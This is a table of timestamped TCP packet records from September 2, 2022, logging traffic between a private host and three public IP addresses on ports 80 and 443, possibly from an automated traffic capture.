Sep 2, 2022 14:02:38.166726112 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.166887999 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.166907072 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.166928053 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.167001963 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.167011976 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.167054892 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.167109966 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.167179108 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.217190027 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.217228889 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.217319965 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.217475891 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.217514038 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.220143080 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.220172882 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.220212936 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.220436096 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.220457077 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.220484018 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.220539093 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.220554113 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.220580101 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.220621109 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.220632076 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.220650911 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.220680952 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.220700979 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.220774889 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.265103102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265131950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265144110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265268087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.265274048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265305042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265316963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265324116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.265335083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.265358925 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.265537024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265584946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265598059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265624046 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.265644073 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.265829086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265847921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265860081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.265906096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.266180992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.266201973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.266212940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.266235113 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.266253948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.266526937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.266572952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.266650915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.266670942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.266706944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.266722918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.266726971 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.266753912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.267147064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.267168045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.267180920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.267241955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.267298937 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.296608925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.296633959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.296648026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.296706915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.296746969 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.296757936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.296796083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.296807051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.296827078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.296843052 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.297313929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.297334909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.297347069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.297399998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.297420025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.297661066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.297679901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.297692060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.297727108 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.297749996 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.297785044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.297849894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.297875881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.297888994 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.297913074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.297960043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.298000097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.298012972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.298018932 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.298054934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.299169064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.299194098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.299206018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.299259901 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.299314022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.299366951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.299379110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.299386024 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.299412966 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.299717903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.299736977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.299750090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.299798965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.299822092 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.303561926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.303589106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.303596973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.303666115 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.303719044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.303759098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.303771973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.303781033 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.303808928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.304893970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.304918051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.304932117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.304965019 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.304982901 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.305141926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.305202007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.305214882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.305226088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.305252075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.305641890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.305661917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.305675030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.305713892 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.305746078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.305836916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.305885077 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.305897951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.305953026 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.305972099 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.306305885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.306327105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.306339025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.306356907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.306365967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.306382895 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.306405067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.306421041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.306435108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.306512117 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.306950092 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.307007074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.307363033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.307383060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.307395935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.307466030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.307478905 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.307492971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.307511091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.307523012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.307564974 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.307655096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.307672977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.307684898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.307718039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.307739973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.308496952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.308559895 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.308613062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.308650970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.308667898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.308667898 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.308826923 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.309947014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.309968948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.309981108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.310010910 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.310029030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.310041904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.310060024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.310072899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.310106039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.310144901 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.311048985 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.311088085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.311103106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.311131001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.311146975 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.311160088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.311177015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.311187983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.311234951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.312340975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.312366962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.312378883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.312424898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.312442064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.312460899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.312477112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.312480927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.312494040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.313173056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.313206911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.313220024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.313254118 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.313276052 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.313363075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.313381910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.313394070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.313431978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.314090967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.314141035 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.314153910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.314158916 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.314196110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.314196110 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.314213991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.314224958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.314268112 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.316013098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316050053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316063881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316095114 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.316147089 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.316158056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316175938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316185951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316215992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.316241980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.316363096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316380024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316387892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316457987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.316469908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316498041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316513062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.316550016 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.316570044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.327961922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.327986002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.327997923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.328073978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.328109980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.328260899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.328279018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.328293085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.328320026 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.328341961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.329339027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.329431057 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.371383905 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.371545076 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.427391052 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.427464962 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.430319071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.430476904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.430483103 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.430519104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.430535078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.430548906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.430586100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.431153059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431216955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.431405067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431452036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431463957 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.431483030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431504965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.431520939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431560993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431577921 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.431588888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431612968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.431767941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431808949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431828022 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.431833982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431857109 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.431898117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431937933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431967974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.431978941 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.431992054 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.432439089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.432480097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.432496071 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.432507992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.432535887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.432662964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.432703018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.432723045 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.432743073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.432749987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.432770014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.432796955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.461936951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.462011099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.462044954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.462052107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.462069035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.462079048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.462107897 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.462446928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.462487936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.462516069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.462555885 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.462724924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.462800026 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.462869883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.462929010 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.462961912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.462992907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.463016033 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.463393927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.463449001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.463486910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.463524103 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.463735104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.463776112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.463798046 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.463814020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.463834047 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.464574099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.464622974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.464652061 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.464663029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.464669943 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.464792013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.464837074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.464864016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.464936018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.465265036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.465363979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.465382099 CEST	49787	80	192.168.2.6	85.209.157.230
